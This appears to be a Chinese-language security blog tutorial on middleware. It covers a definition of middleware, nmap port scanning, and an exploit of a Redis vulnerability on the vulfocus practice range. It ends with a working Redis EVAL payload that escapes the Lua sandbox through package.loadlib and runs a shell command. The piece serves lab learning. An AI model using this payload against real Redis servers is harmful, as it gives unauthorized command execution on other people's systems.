中间件安全（一）

本文仅作为学习参考使用，本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

一，中间件。

1，什么是中间件。

是一类能够为一种或多种应用程序合作互通、资源共享，同时还能够为该应用程序提供相关的服务的软件。中间件是一类软件统称，而非一种软件;中间件不仅仅实现互连，还要实现应用之间的互操作。

具体请参考：通俗易懂的讲讲什么是中间件？

2，中间件作用。

判断服务是否开放，一般各种服务都有其对应的端口，如果对应的端口不存在，则说明此服务没有开启，也就没有后续测试的必要了。

3，如何判断端口是否开放。

可以使用nmap等工具，通过探测开放的端口以判断服务是否开放。一般情况下都是开放默认端口，例如3306端口对应的就是mysql服务，但不排除开发者更改端口来进行防御。

nmap只能通过Ip进行扫描端口，首先要把网址所对应的ip查出来。

本机（物理机）上所开放的端口如上，ip为http://192.168.131.206/。

为了减少扫描时间，此处使用-p标签，指定扫描从8000到8100范围的端口。

可以看到，所开放的端口。

二，靶场。

靶场这里使用的是vulfocus，直接注册就可以使用。

本文主要讲解vulfocus靶场的redis漏洞。

redis数据库默认端口为：6379；redis简述。

工具链接，搭建教程

连接成功。

查看flag

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0